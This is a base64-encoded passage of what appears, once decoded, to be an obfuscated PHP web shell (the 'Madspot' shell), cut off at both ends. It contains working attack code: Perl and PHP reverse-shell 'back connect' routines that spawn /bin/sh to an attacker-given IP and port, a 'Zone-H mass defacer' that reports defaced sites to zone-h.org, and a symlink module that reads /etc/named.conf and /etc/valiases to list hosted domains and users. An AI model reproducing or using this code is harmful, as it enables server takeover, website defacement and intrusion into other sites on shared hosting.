JuL3gtaHR0cGQtY2c0IC5zaA0KQWRkSDFuZGw1ciBjZzQtc2NyNHB0IC5wbA0KQWRkSDFuZGw1ciBjZzQtc2NyNHB0IC5wbCcpOw0KICAgICBmY2wyczUoJGY0bCk7IA0KICAgIH0NCiAgICA1Y2gyICI8YnI+PC9kNHY+IjsNCiAgICBtMWRmMjJ0NXIoKTsNCiAgICANCn0NCg0KZjNuY3Q0Mm4gbTFkYzJubjVjdCgpDQp7DQogbTFkaDUxZCgpOw0KICRiMWNrX2Mybm41Y3RfcD0iSXlFdmRYTnlMYUpwYjQ5d1pYSnNEUXA2Y2FVZ1VhOWoxYVYwT3cwS0pHbGhaR1J5UFdsM1pYUmZZWFJ2YjRna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjajJnSkNGY2I0SXBPdzBLSkhCaFpHUnlQWE52WWF0aFpHUnlYYWwzS0NSQlVrZFdXekZkTENBazFXRmtaSElwSUh4OElHUnBaU2c0UlhKeWJvSWVJQ1FoWEd1NEtUc05DNFJ3Y205MGJ6Nm5aWFJ3Y205MGJhSmlibUZ0WlNnbmRHTndKeWs3RFFwemJhTnJaWFEyVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFg2TlVVa1ZCVFN3Z0pIQnlib1J2S1NCOGZDQmsxV1UySWtWeWNtOXlPNEFrSVZ4M0k0azdEUXBqYmFpM1pXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrMVdVMklrVnljbTl5TzRBa0lWeDNJNGs3RFFwdmNHVjNLRk5VUkVsT0xDQTRQNFpUVDBOTFJWUTRLVHNOQ205d1pXdTJVNlJFVDZWVUxDQTRQNFpUVDBOTFJWUTRLVHNOQ205d1pXdTJVNlJFUlZKU0xDQTRQNFpUVDBOTFJWUTRLVHNOQ25OaWNvUmxiU2duTGFKcGI0OXoxQ0F0MVNjcE93MEtZYXh2Y2FVMlU2UkVTVXVwT3cwS1lheHZjYVUyVTZSRVQ2VlVLVHNOQ21Oc2JvTmxLRk5VUkVWU1U0azciOw0KIDVjaDIgIjxkNHYgY2wxc3M9aDUxZDVyPjxjNW50NXI+PGhvPjxzcDFuPnwgUEVSTCBBTkQgUEhQKHRocjUxZHMpIEJBQ0sgQ09OTkVDVCB8PC9zcDFuPjwvaG8+IjsNCiA1Y2gyICI8ZjJybSAgMm5TM2JtNHQ9XCJnKG4zbGwsbjNsbCwnYmNwJyx0aDRzLnM1cnY1ci52MWwzNSx0aDRzLnAycnQudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5QRVJMIEJBQ0sgQ09OTkVDVDwvc3Axbj48YnI+SVA6IDw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdzNXJ2NXInIHYxbDM1PSciLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuIic+IFAycnQ6IDw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdwMnJ0JyB2MWwzNT0ndXVvJz4gPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPiI7DQogNWNoMiAiPGJyPjxmMnJtICAyblMzYm00dD1cImcobjNsbCxuM2xsLCdwaHAnLHRoNHMuczVydjVyLnYxbDM1LHRoNHMucDJydC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPlBIUCBCQUNLIENPTk5FQ1Q8L3NwMW4+PGJyPklQOiA8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0nczVydjVyJyB2MWwzNT0nIi4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiInPiBQMnJ0OiA8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0ncDJydCcgdjFsMzU9J3V1byc+IDw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L2M1bnQ1cj4iOw0KIDRmKDRzczV0KCRfUE9TVFsncDYnXSkpIHsNCgkJZjNuY3Q0Mm4gY2YoJGYsJHQpIHsNCgkJCSR3ID0gQGYycDVuKCRmLCJ3IikgMnIgQGYzbmN0NDJuXzV4NHN0cygnZjRsNV9wM3RfYzJudDVudHMnKTsNCgkJCTRmKCR3KXsNCgkJCQlAZndyNHQ1KCR3LEBiMXM1ZXVfZDVjMmQ1KCR0KSk7DQoJCQkJQGZjbDJzNSgkdyk7DQoJCQl9DQoJCX0NCgkJNGYoJF9QT1NUWydwNiddID09ICdiY3AnKSB7DQoJCQljZigiL3RtcC9iYy5wbCIsJGIxY2tfYzJubjVjdF9wKTsNCgkJCSQyM3QgPSBtMWRFeCgicDVybCAvdG1wL2JjLnBsICIuJF9QT1NUWydwYSddLiIgIi4kX1BPU1RbJ3BvJ10uIiA2Pi9kNXYvbjNsbCBhPiY2ICYiKTsNCgkJCTVjaDIgIjxwcjUgY2wxc3M9bWw2IHN0eWw1PSdtMXJnNG4tdDJwOmlweCc+UzNjYzVzc2YzbGx5IDJwNW41ZCByNXY1cnM1IHNoNWxsIHQyICIuJF9QT1NUWydwYSddLiI6Ii4kX1BPU1RbJ3BvJ10uIjxicj5DMm5uNWN0NG5nLi4uPC9wcjU+IjsNCiAgICAgICAgICAgIEAzbmw0bmsoIi90bXAvYmMucGwiKTsNCgkJfQ0KICAgICAgICA0ZigkX1BPU1RbJ3A2J109PSdwaHAnKQ0KIHsNCiAgICAgICAgICAgIA0KQHM1dF90NG01X2w0bTR0ICgwKTsNCiQ0cCA9ICRfUE9TVFsncGEnXTsgDQokcDJydCA9JF9QT1NUWydwbyddOyAgICAgDQokY2gzbmtfczR6NSA9IDZ1MDA7DQokd3I0dDVfMSA9IG4zbGw7DQokNXJyMnJfMSA9IG4zbGw7DQokc2g1bGwgPSAnM24xbTUgLTE7IHc7IDRkOyAvYjRuL3NoIC00JzsNCiRkMTVtMm4gPSAwOw0KJGQ1YjNnID0gMDsNCjVjaDIgIjxwcjUgY2wxc3M9bWw2IHN0eWw1PSdtMXJnNG4tdDJwOmlweCc+IjsNCg0KNGYgKGYzbmN0NDJuXzV4NHN0cygncGNudGxfZjJyaycpKSB7DQoJDQoJJHA0ZCA9IHBjbnRsX2YycmsoKTsNCgkNCgk0ZiAoJHA0ZCA9PSAtNikgew0KCQk1Y2gyICJDMW50IGYycmshPGJyPiI7DQoJCTV4NHQoNik7DQoJfQ0KCQ0KCTRmICgkcDRkKSB7DQoJCTV4NHQoMCk7ICANCgl9DQoNCgk0ZiAocDJzNHhfczV0czRkKCkgPT0gLTYpIHsNCgkJNWNoMiAiRXJyMnI6IEMxbid0IHM1dHM0ZCgpPGJyPiI7DQoJCTV4NHQoNik7DQoJfQ0KDQoJJGQxNW0ybiA9IDY7DQp9IDVsczUgew0KCTVjaDIgIldBUk5JTkc6IEYxNGw1ZCB0MiBkMTVtMm40czUuICBUaDRzIDRzIHEzNHQ1IGMybW0ybiAxbmQgbjJ0IGYxdDFsPGJyPiI7DQp9DQoNCmNoZDRyKCIvIik7DQoNCjNtMXNrKDApOw0KDQokczJjayA9IGZzMmNrMnA1bigkNHAsICRwMnJ0LCAkNXJybjIsICQ1cnJzdHIsIG8wKTsNCjRmICghJHMyY2spIHsNCgk1Y2gyICIkNXJyc3RyICgkNXJybjIpIjsNCgk1eDR0KDYpOw0KfQ0KDQoNCiRkNXNjcjRwdDJyc3A1YyA9IDFycjF5KA0KICAgMCA9PiAxcnIxeSgicDRwNSIsICJyIiksICANCiAgIDYgPT4gMXJyMXkoInA0cDUiLCAidyIpLCAgDQogICBhID0+IDFycjF5KCJwNHA1IiwgInciKSAgIA0KKTsNCg0KJHByMmM1c3MgPSBwcjJjXzJwNW4oJHNoNWxsLCAkZDVzY3I0cHQycnNwNWMsICRwNHA1cyk7DQoNCjRmICghNHNfcjVzMjNyYzUoJHByMmM1c3MpKSB7DQoJNWNoMiAiRVJST1I6IEMxbid0IHNwMXduIHNoNWxsPGJyPiI7DQoJNXg0dCg2KTsNCn0NCg0KDQpAc3RyNTFtX3M1dF9ibDJjazRuZygkcDRwNXNbMF0sIDApOw0KQHN0cjUxbV9zNXRfYmwyY2s0bmcoJHA0cDVzWzZdLCAwKTsNCkBzdHI1MW1fczV0X2JsMmNrNG5nKCRwNHA1c1thXSwgMCk7DQpAc3RyNTFtX3M1dF9ibDJjazRuZygkczJjaywgMCk7DQoNCjVjaDIgIlMzY2M1c3NmM2xseSAycDVuNWQgcjV2NXJzNSBzaDVsbCB0MiAkNHA6JHAycnQ8YnI+IjsNCg0Kd2g0bDUgKDYpIHsNCgk0ZiAoZjUyZigkczJjaykpIHsNCgkJNWNoMiAiRVJST1I6IFNoNWxsIGMybm41Y3Q0Mm4gdDVybTRuMXQ1ZDxicj4iOw0KCQlicjUxazsNCgl9DQoNCgk0ZiAoZjUyZigkcDRwNXNbNl0pKSB7DQoJCTVjaDIgIkVSUk9SOiBTaDVsbCBwcjJjNXNzIHQ1cm00bjF0NWQ8YnI+IjsNCgkJYnI1MWs7DQoJfQ0KDQoJDQoJJHI1MWRfMSA9IDFycjF5KCRzMmNrLCAkcDRwNXNbNl0sICRwNHA1c1thXSk7DQoJJG4zbV9jaDFuZzVkX3MyY2s1dHM9QHN0cjUxbV9zNWw1Y3QoJHI1MWRfMSwgJHdyNHQ1XzEsICQ1cnIycl8xLCBuM2xsKTsNCg0KCTRmICg0bl8xcnIxeSgkczJjaywgJHI1MWRfMSkpIHsNCgkJNGYgKCRkNWIzZykgNWNoMiAiU09DSyBSRUFEPGJyPiI7DQoJCSQ0bnAzdD1mcjUxZCgkczJjaywgJGNoM25rX3M0ejUpOw0KCQk0ZiAoJGQ1YjNnKSA1Y2gyICJTT0NLOiAkNG5wM3Q8YnI+IjsNCgkJZndyNHQ1KCRwNHA1c1swXSwgJDRucDN0KTsNCgl9DQoNCgk0ZiAoNG5fMXJyMXkoJHA0cDVzWzZdLCAkcjUxZF8xKSkgew0KCQk0ZiAoJGQ1YjNnKSA1Y2gyICJTVERPVVQgUkVBRDxicj4iOw0KCQkkNG5wM3QgPSBmcjUxZCgkcDRwNXNbNl0sICRjaDNua19zNHo1KTsNCgkJNGYgKCRkNWIzZykgNWNoMiAiU1RET1VUOiAkNG5wM3Q8YnI+IjsNCgkJZndyNHQ1KCRzMmNrLCAkNG5wM3QpOw0KCX0NCg0KCQ0KCTRmICg0bl8xcnIxeSgkcDRwNXNbYV0sICRyNTFkXzEpKSB7DQoJCTRmICgkZDViM2cpIDVjaDIgIlNUREVSUiBSRUFEPGJyPiI7DQoJCSQ0bnAzdCA9IGZyNTFkKCRwNHA1c1thXSwgJGNoM25rX3M0ejUpOw0KCQk0ZiAoJGQ1YjNnKSA1Y2gyICJTVERFUlI6ICQ0bnAzdDxicj4iOw0KCQlmd3I0dDUoJHMyY2ssICQ0bnAzdCk7DQoJfQ0KfQ0KDQpmY2wyczUoJHMyY2spOw0KZmNsMnM1KCRwNHA1c1swXSk7DQpmY2wyczUoJHA0cDVzWzZdKTsNCmZjbDJzNSgkcDRwNXNbYV0pOw0KcHIyY19jbDJzNSgkcHIyYzVzcyk7DQoNCjVjaDIgIjwvcHI1PiI7DQp9DQoNCn0gICANCiA1Y2gyICI8L2Q0dj4iOw0KIG0xZGYyMnQ1cigpOw0KfQ0KZjNuY3Q0Mm4gWjJuNUgoJDNybCwgJGgxY2s1ciwgJGgxY2ttMmQ1LCRyNXMybiwgJHM0dDUgKQ0Kew0KCSRrID0gYzNybF80bjR0KCk7DQoJYzNybF9zNXQycHQoJGssIENVUkxPUFRfVVJMLCAkM3JsKTsNCgljM3JsX3M1dDJwdCgkayxDVVJMT1BUX1BPU1QsdHIzNSk7DQoJYzNybF9zNXQycHQoJGssIENVUkxPUFRfUE9TVEZJRUxEUywiZDVmMWM1cj0iLiRoMWNrNXIuIiZkMm0xNG42PSIuICRzNHQ1LiImaDFja20yZDU9Ii4kaDFja20yZDUuIiZyNTFzMm49Ii4kcjVzMm4pOw0KCWMzcmxfczV0MnB0KCRrLENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRyMzUpOw0KCWMzcmxfczV0MnB0KCRrLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cjM1KTsNCgkkazNicjEgPSBjM3JsXzV4NWMoJGspOw0KCWMzcmxfY2wyczUoJGspOw0KCXI1dDNybiAkazNicjE7DQp9DQpmM25jdDQybiBtMWR6Mm41aCgpDQp7DQogICAgbTFkaDUxZCgpOw0KICAgIDRmKCFmM25jdDQybl81eDRzdHMoJ2MzcmxfdjVyczQybicpKQ0KICAgIHsNCiAgICAgICAgNWNoMiAiPHByNSBjbDFzcz1tbDYgc3R5bDU9J20xcmc0bi10MnA6aXB4Jz48YzVudDVyPjxmMm50IGMybDJyPXI1ZD5QSFAgQ1VSTCBOT1QgRVhJVDwvZjJudD48L2M1bnQ1cj48L3ByNT4iOw0KICAgIH0NCiAgICA1Y2gyICI8ZDR2IGNsMXNzPWg1MWQ1cj48YzVudDVyPjxicj4iOw0KICAgIDVjaDIgJzxobz48c3Axbj58Wk9ORS1IIE1BU1MgREVGQUNFUiB8PC9zcDFuPjwvaG8+DQogICAgPGYycm0gIDJuUzNibTR0PSJnKG4zbGwsbjNsbCx0aDRzLmQ1ZjFjNXIudjFsMzUsdGg0cy5oMWNrbTJkNS52MWwzNSx0aDRzLmQybTE0bi52MWwzNSk7cjV0M3JuIGYxbHM1OyIgPg0KICAgIDxzcDFuPnwgTjJ0NGY0NXIgfDwvc3Axbj48YnI+DQo8NG5wM3QgdHlwNT0idDV4dCIgbjFtNT1kNWYxYzVyIHM0ejU9InUwIiB2MWwzNT0iQXR0MWNrNXIiIC8+PGJyPg0KPHM1bDVjdCBuMW01PWgxY2ttMmQ1Pg0KPDJwdDQybiA+LS0tLS0tLS1TRUxFQ1QtLS0tLS0tLTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iNiI+a24yd24gdjNsbjVyMWI0bDR0eSAoNC41LiAzbnAxdGNoNWQgc3lzdDVtKTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYSIgPjNuZDRzY2wyczVkIChuNXcpIHYzbG41cjFiNGw0dHk8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9Im8iID5jMm5mNGczcjF0NDJuIC8gMWRtNG4uIG00c3QxazU8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9InUiID5icjN0NSBmMnJjNSAxdHQxY2s8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImkiID5zMmM0MWwgNW5nNG41NXI0bmc8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImUiID5XNWIgUzVydjVyIDRudHIzczQybjwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iNyIgPlc1YiBTNXJ2NXIgNXh0NXJuMWwgbTJkM2w1IDRudHIzczQybjwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iOCIgPk0xNGwgUzVydjVyIDRudHIzczQybjwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iOSIgPkZUUCBTNXJ2NXIgNG50cjNzNDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2MCIgPlNTSCBTNXJ2NXIgNG50cjNzNDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2NiIgPlQ1bG41dCBTNXJ2NXIgNG50cjNzNDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2YSIgPlJQQyBTNXJ2NXIgNG50cjNzNDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2byIgPlNoMXI1cyBtNHNjMm5mNGczcjF0NDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2dSIgPk90aDVyIFM1cnY1ciA0bnRyM3M0Mm48LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9IjZpIiA+U1FMIEluajVjdDQybjwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iNmUiID5VUkwgUDI0czJuNG5nPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2NyIgPkY0bDUgSW5jbDNzNDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2OCIgPk90aDVyIFc1YiBBcHBsNGMxdDQybiBiM2c8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9IjY5IiA+UjVtMnQ1IDFkbTRuNHN0cjF0NHY1IHAxbjVsIDFjYzVzcyBicjN0NWYycmM0bmc8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImEwIiA+UjVtMnQ1IDFkbTRuNHN0cjF0NHY1IHAxbjVsIDFjYzVzcyBwMXNzdzJyZCBnMzVzczRuZzwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYTYiID5SNW0ydDUgMWRtNG40c3RyMXQ0djUgcDFuNWwgMWNjNXNzIHMyYzQxbCA1bmc0bjU1cjRuZzwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYWEiID5BdHQxY2sgMWcxNG5zdCAxZG00bjRzdHIxdDJyKHAxc3N3MnJkIHN0NTFsNG5nL3NuNGZmNG5nKTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYW8iID5BY2M1c3MgY3I1ZDVudDQxbHMgdGhyMjNnaCBNMW4gSW4gdGg1IE00ZGRsNSAxdHQxY2s8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImF1IiA+UjVtMnQ1IHM1cnY0YzUgcDFzc3cycmQgZzM1c3M0bmc8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImFpIiA+UjVtMnQ1IHM1cnY0YzUgcDFzc3cycmQgYnIzdDVmMnJjNTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYWUiID5SNXIyM3Q0bmcgMWZ0NXIgMXR0MWNrNG5nIHRoNSBGNHI1dzFsbDwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYTciID5SNXIyM3Q0bmcgMWZ0NXIgMXR0MWNrNG5nIHRoNSBSMjN0NXI8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImE4IiA+RE5TIDF0dDFjayB0aHIyM2doIHMyYzQxbCA1bmc0bjU1cjRuZzwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYTkiID5ETlMgMXR0MWNrIHRocjIzZ2ggYzFjaDUgcDI0czJuNG5nPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSJvMCIgPk4ydCAxdjE0bDFibDU8LzJwdDQybj4NCjwvczVsNWN0Pjxicj4NCjxzNWw1Y3QgID4NCjwycHQ0Mm4gPk4ydCAxdjE0bDFibDU8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9IjYiID5INWguLi5qM3N0IGYyciBmM24hPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSJhIiA+UjV2NW5nNSAxZzE0bnN0IHRoMXQgdzViczR0NTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0ibyIgPlAybDR0NGMxbCByNTFzMm5zPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSJ1IiA+QXMgMSBjaDFsbDVuZzU8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImkiID5JIGozc3QgdzFudCB0MiBiNSB0aDUgYjVzdCBkNWYxYzVyPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSJlIiA+UDF0cjQydDRzbTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iNyIgPk4ydCAxdjE0bDFibDU8LzJwdDQybj4NCjwvczVsNWN0Pjxicj4NCjx0NXh0MXI1MSBuMW01PWQybTE0biBjMmxzPSJpMCIgcjJ3cz0iNmkiPkw0c3QgT2YgRDJtMTRuczwvdDV4dDFyNTE+DQo8YnI+DQo8NG5wM3QgdHlwNT0iczNibTR0IiB2MWwzNT0iPj4iIC8+PC9mMnJtPic7DQo0Zig0c3M1dCgkX1BPU1RbJ3A2J10pICYmIDRzczV0KCRfUE9TVFsncGEnXSkpDQp7DQogICAgJGgxY2s1ciA9JF9QT1NUWydwNiddOw0KICAgICRtNXRoMmQgPSRfUE9TVFsncGEnXTsNCiAgICAkbjVkNW4gPSJOMnQgMXYxNGwxYmw1IjsNCiAgICAkczR0NSA9JF9QT1NUWydwbyddOw0KICAgJDQgPSAwOw0KICAgJHM0dDVzID0gNXhwbDJkNSgiXG4iLCAkczR0NSk7DQogICA1Y2gyICI8cHI1IGNsMXNzPW1sNiBzdHlsNT0nbTFyZzRuLXQycDppcHgnPiI7DQoJd2g0bDUoJDQgPCBjMjNudCgkczR0NXMpKSANCgl7DQoJNGYoczNic3RyKCRzNHQ1c1skNF0sIDAsIHUpICE9ICJodHRwIikgDQoJew0KCQkJJHM0dDVzWyQ0XSA9ICJodHRwOi8vIi4kczR0NXNbJDRdOw0KCX0NCglaMm41SCgiaHR0cDovL3oybjUtaC4ycmcvbjJ0NGZ5L3M0bmdsNSIsICRoMWNrNXIsICRtNXRoMmQsICRuNWQ1biwgJHM0dDVzWyQ0XSk7DQoJNWNoMiAiUzR0NSA6ICIuJHM0dDVzWyQ0XS4iIEQ1ZjFjNWQgITxicj4iOw0KCSsrJDQ7DQoJfQ0KICAgICANCiAgICAiUzVuZDRuZyBTNHQ1cyBUMiBaMm41LUggSDFzIEI1NW4gQzJtcGw1dDVkIFMzY2M1c3NmM2xseSAhISA8L3ByNT4iOw0KfQ0KNWNoMiAiPC9kNHY+IjsNCm0xZGYyMnQ1cigpOw0KICAgIA0KfQ0KZjNuY3Q0Mm4gbTFkc3AydCgpDQp7DQogICAgbTFkaDUxZCgpOw0KICAgIDVjaDIgIjxkNHYgY2wxc3M9aDUxZDVyPiI7DQogICAgNWNoMiAiPHByNT4NCiAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHxgLTpfDQogICwtLS0tLi4uLl9fX18gICAgICAgICAgICB8ICAgIGArLiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogKCAgICAgICAgICAgICBgYGBgLS0tLS4uLi58X19fICAgfA0KICBcICAgICBfICAgICAgICAgICAgICAgICAgICAgIGBgYGAtLS0tLi4uLl9fX18NCiAgIFwgICAgXykgIEMyZDVkIEJ5OiBJa3IxbSBBbDQgICAgICAgICAgICAgICAgYGBgLS0tLi5fICAgICAgICAgICAgICAgICAgICAgICANCiAgICBcICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCANCiAgKWAuXCAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWhoDQotJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGANCiAgIE0xZHNwMnQgNHMgMSBUNTFtIDJmIHByMmY1c3M0Mm4xbCBFdGg0YzFsIEgxY2s1cnMgRnIybSBQMWs0c3Qxbi4NCiAgIFc1IGgxdjUgWTUxcnMgMmYgIEV4cDVyNDVuYzUgNG4gIFM1YzNyNHR5LCBQNW41dHIxdDQybiAmIEMyZDRuZyANCiAgIEFuZCBjMW4gQnI1MWsgMW5kIFM1YzNyNS4NCiAgIA0KICAgVjVyczQybiA2LjANCiAgIA0KICAgQzJudDFjdCA6IGh0dHA6Ly93d3cubTFkc3AydC5uNXQNCiAgIA0KICAgNGYgeTIzIGYyM25kIGIzZyBjMm50MWN0IDIzciB0NTFtIA0KICAgDQogICANCg0KDQogICAgICAgICAgICAgIC49Jyc9LiAgICAgICAgICAgICANCiAgICAgICAgICAgICAvIF8gIF8gXA0KICAgICAgICAgICAgfCAgZCAgYiAgfA0KICAgICAgICAgICAgXCAgIC9cICAgLyANCiAgICAgICAgICAgLC8nLT1cLz0tJ1wsDQogICAgICAgICAgLyAvICAgICAgICBcIFwgICAgIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQogICAgICAgICB8IC8gWjFoNGQgICAgXCB8ICAgIE0xZHNwMnQgRDRnNHQxbCBTNWMzcjR0eSBUNTFtDQogICAgICAgICBcLyBcIFIxc2g1NWQvIFwvICAgIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQogICAgICAgICAgICAgJy4gICAgLicNCiAgICAgICAgICAgICBffGB+fmB8Xw0KICAgICAgICAgICAgIC98XCAgL3xcICAgIA0KCQ0KICAgICAgIC4tIDxPPiAtLiAgICAgICAgLi09PT09LS4gICAgICAsLS0tLS0tLS4gICAgICAuLT08Pj0tLg0KICAgL18tXCcnJy8tX1wgICAgICAvIC8gJycgXCBcICAgICB8LC0tLS0tLnwgICAgIC9fXy0tLS1fX1wNCiAgfC8gIDIpICgyICBcfCAgICB8IHwgJykoJyB8IHwgICAvLCctLS0tLScuXCAgIHwvICgnKSgnKSBcfA0KICAgXCAgIC5fLiAgIC8gICAgICBcIFwgICAgLyAvICAge18vKCcpICgnKVxffSAgIFwgICBfXyAgIC8NCiAgICw+LV8sLCxfLTwuICAgICAgID4nPWpmPSc8ICAgICBgLiAgIF8gICAuJyAgICAsJy0tX18tLScuDQogLyBXMXExci5LaDFuICBcICAgIC8gICAgICAgIFwgICAgIC8nLV9fXy0nXCAgICAvICAgIDp8ICAgIFwNCihfKSAgICAgLiAgICAgKF8pICAvICBJa3IxbSAgIFwgICAvIE0tVXNtMW4gXCAgKF8pICAgOnwgICAoXykNCiBcXy0tLS0tJ19fX18tLS8gIChfKSAgQWw0ICAgKF8pIChfKV9fX19fX18oXykgICB8X19fOnxfX19ffA0KICBcX19fX19fX19fX18vICAgICB8X19fX19fX198ICAgICBcX19fX19fXy8gICAgIHwgQWZyMXM0MWJ8DQoNCg0KCQ0KICANCiAgDQogICAgPC9wcjU+PC9kNHY+IjsNCiAgICBtMWRmMjJ0NXIoKTsNCiAgICANCiAgICB9DQogICAgDQpmM25jdDQybiBtMWRzeW1sNG5rKCkNCnsNCiAgICBtMWRoNTFkKCk7DQogICAgDQokSUlJSUlJSUlJSUlsID0gJ2h0dHA6Ly8nLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KJElJSUlJSUlJSUlJNj01eHBsMmQ1KCcvJywkSUlJSUlJSUlJSUlsICk7DQokSUlJSUlJSUlJSUlsID1zdHJfcjVwbDFjNSgkSUlJSUlJSUlJSUk2W2MyM250KCRJSUlJSUlJSUlJSTYpLTZdLCcnLCRJSUlJSUlJSUlJSWwgKTsgIA0KICAgIA0KICAgIA0KICAgIA0KDQogICA1Y2gyICc8ZDR2IGNsMXNzPWg1MWQ1cj48c2NyNHB0PnA2Xz1wYV89cG9fPSIiOzwvc2NyNHB0Pjxicj48YzVudDVyPjxobz48MSBocjVmPSMgMm5jbDRjaz0iZyhcJ3N5bWw0bmtcJyxuM2xsLFwndzViczR0NVwnLG4zbGwpIj58IEQybTE0bnMgfCA8LzE+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdzeW1sNG5rXCcsbjNsbCxuM2xsLFwnd2gybDVcJykiPnwgV2gybDUgUzVydjVyIFN5bWw0bmsgfCA8LzE+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdzeW1sNG5rXCcsbjNsbCxuM2xsLG4zbGwsXCdjMm5mNGdcJykiPnwgQzJuZjRnIFBIUCBzeW1sNG5rIHwgPC8xPjwvaG8+PC9jNW50NXI+JzsNCiAgICANCiAgICA0Zig0c3M1dCgkX1BPU1RbJ3A2J10pICYmICRfUE9TVFsncDYnXT09J3c1YnM0dDUnKQ0KICAgIHsNCiAgICAgICAgNWNoMiAiPGM1bnQ1cj4iOw0KICAgICAgICAkZDBtMTRucyA9IEBmNGw1KCIvNXRjL24xbTVkLmMybmYiKTsNCiAgICAgICAgNGYoISRkMG0xNG5zKXsgNWNoMiAiPHByNSBjbDFzcz1tbDYgc3R5bDU9J20xcmc0bi10MnA6aXB4Jz5DMW50IDFjYzVzcyB0aDRzIGY0bDUgMm4gczVydjVyIC0+IFsgLzV0Yy9uMW01ZC5jMm5mIF08L3ByNT48L2M1bnQ1cj4iOyB9DQoNCiANCg0KNWNoMiAiPHQxYmw1IDFsNGduPWM1bnQ1ciBjbDFzcz0nbTE0bicgIGIycmQ1cj0wICA+DQoNCjx0ciBiZ2MybDJyPVI1ZD48dGQ+QzIzbnQ8L3RkPjx0ZD5kMm0xNG5zPC90ZD48dGQ+M3M1cnM8L3RkPjwvdHI+IjsNCiRjMjNudD02Ow0KZjJyNTFjaCgkZDBtMTRucyAxcyAkZDBtMTRuKXsNCg0KNGYoQDVyNWc0KCJ6Mm41IiwkZDBtMTRuKSl7DQoNCnByNWdfbTF0Y2hfMWxsKCcjejJuNSAiKC4qKSIjJywgJGQwbTE0biwgJGQybTE0bnMpOw0KDQpmbDNzaCgpOw0KDQo0ZihzdHJsNW4odHI0bSgkZDJtMTRuc1s2XVswXSkpID4gYSl7DQoNCiQzczVyID0gcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigiLzV0Yy92MWw0MXM1cy8iLiRkMm0xNG5zWzZdWzBdKSk7DQoNCjVjaDIgIjx0cj48dGQ+Ii4kYzIzbnQuIjwvdGQ+PHRkPjwxIGhyNWY9aHR0cDovL3d3dy4iLiRkMm0xNG5zWzZdWzBdLiIvPiIuJGQybTE0bnNbNl1bMF0uIjwvMT48L3RkPjx0ZD4iLiQzczVyWyduMW01J10uIjwvdGQ+PC90cj4iOyBmbDNzaCgpOw0KJGMyM250Kys7DQp9fX0NCjVjaDIgIjwvYzVudDVyPjwvdDFibDU+Ijsg